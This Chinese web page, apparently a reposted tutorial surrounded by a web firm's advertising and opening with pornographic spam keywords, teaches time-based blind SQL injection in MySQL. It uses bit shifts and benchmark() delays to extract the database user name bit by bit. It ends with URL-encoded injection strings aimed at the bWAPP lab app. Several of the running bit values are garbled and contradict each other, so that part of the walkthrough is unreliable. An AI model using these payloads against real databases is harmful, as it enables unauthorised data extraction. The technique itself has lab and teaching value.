真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何使用MySQL位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效

本篇內(nèi)容主要講解“如何使用位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效SQL盲注”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“如何使用MySQL位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效SQL盲注”吧!

本篇內(nèi)容主要講解“如何使用位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效SQL盲注”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“如何使用MySQL位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效SQL盲注”吧!

成都創(chuàng)新互聯(lián)公司專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于網(wǎng)站建設(shè)、成都網(wǎng)站建設(shè)、商都網(wǎng)絡(luò)推廣、小程序開發(fā)、商都網(wǎng)絡(luò)營銷、商都企業(yè)策劃、商都品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營等,從售前售中售后,我們都將竭誠為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);成都創(chuàng)新互聯(lián)公司為所有大學(xué)生創(chuàng)業(yè)者提供商都建站搭建服務(wù),24小時(shí)服務(wù)熱線:18980820575,官方網(wǎng)址:www.cdcxhl.com

右移位運(yùn)算符會將二進(jìn)制值1位的位數(shù)向右移位,如下所示:

mysql> select ascii(b'01110010');+--------------------+| ascii(b'01110010') |+--------------------+|                114 |+--------------------+1 row in set (0.00 sec)mysql> select ascii(b'01110010') >> 1;+-------------------------+| ascii(b'01110010') >> 1 |+-------------------------+|                      57 |+-------------------------+1 row in set (0.00 sec)

這可用于在SQL盲注時(shí)枚舉字符串的字符。如果數(shù)據(jù)出現(xiàn)在完整的ASCII表中,則每個(gè)字符最多可以枚舉8個(gè)請求。

這里我們希望提取的數(shù)據(jù)是select user()查詢返回的第一個(gè)字符。

第1位:

我們首先找到第一位的值:?

???????

有兩種可能性:0 (Decimal value: 0

) // TRUE condition

1 (Decimal value: 1

) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| 0                                                                                    |+--------------------------------------------------------------------------------------+1 row in set (2.35 sec)

SQL查詢導(dǎo)致時(shí)間延遲,因此條件為TRUE,第一位為00

???????

第2位:

現(xiàn)在我們來查找第二位的值,和上面一樣有兩種可能性:00 (Decimal value: 0

) // TRUE condition

01 (Decimal value: 1

) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false                                                                                |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)

SQL查詢沒有發(fā)生時(shí)間延遲,因此條件為FALSE第二位為101

?????

第3位:

現(xiàn)在我們查找第三位的值,同樣兩種可能性:010 (Decimal value: 2

) // TRUE

011 (Decimal value: 3

) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false                                                                                |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)

SQL查詢沒有時(shí)間延遲,因此條件為FALSE第三位為1011

?????

第4位:

現(xiàn)在我們查找第四位的值,兩種可能性:0110 (Decimal: 6

) // TRUE

0111 (Decimal: 7

) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false                                                                                |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)

SQL查詢沒有時(shí)間延遲,因此條件為FALSE第四位為10111

????

第5位:

現(xiàn)在我們查找第五位的值,兩種可能性:01110 (Decimal: 14

) /// TRUE

01111 (Decimal: 15

) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| 0                                                                                     |+---------------------------------------------------------------------------------------+1 row in set (2.46 sec)

SQL查詢導(dǎo)致時(shí)間延遲,因此條件為TRUE第五位為001110

???

第6位:

現(xiàn)在我們查找第六位的值,兩種可能性:011100 (Decimal: 28

) // TRUE

011101 (Decimal: 29

) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| 0                                                                                     |+---------------------------------------------------------------------------------------+1 row in set (2.44 sec)

SQL查詢導(dǎo)致時(shí)間延遲,因此條件為TRUE第六位為0011100

??

第7位:

現(xiàn)在我們查找第七位的值,兩種可能性:0111000

 (Decimal: 56) // TRUE

0111001

 (Decimal: 57) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| false                                                                                 |+---------------------------------------------------------------------------------------+1 row in set (0.00 sec)

SQL查詢沒有時(shí)間延遲,因此條件為FALSE第七位為1

第四位必須為10111001

?

第8位:

現(xiàn)在我們查找第八位的值,兩種可能性:01110010 (Decimal: 114

) // TRUE

01110011 (Decimal: 115

) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');+----------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |+----------------------------------------------------------------------------------------+| 0                                                                                      |+----------------------------------------------------------------------------------------+1 row in set (2.33 sec)

SQL查詢導(dǎo)致時(shí)間延遲,因此條件為TRUE第八位為00111001

0到這里我們就完整獲取到了select user() 查詢返回的第一個(gè)字符的二進(jìn)制值,轉(zhuǎn)換成十進(jìn)制后為114。而114在ASCII表中表示的是r

字符,因此該數(shù)據(jù)庫用戶名的首字母為r。

mysql> select user();+----------------+| user()         |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)

為了說明這種類型的SQL盲注攻擊,我已向大家演示了如何在bWAPP易受攻擊的應(yīng)用程序上,枚舉“select user()”返回的第一個(gè)字符的第一個(gè)和最后一個(gè)二進(jìn)制位:https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/

1. 第一位SQLi字符串返回TRUE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23

2. 第一位SQLi字符串返回FALSE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23

3. 第八位SQLi字符串返回FALSE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23


當(dāng)前文章:如何使用MySQL位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效
標(biāo)題URL:http://weahome.cn/article/sipioh.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部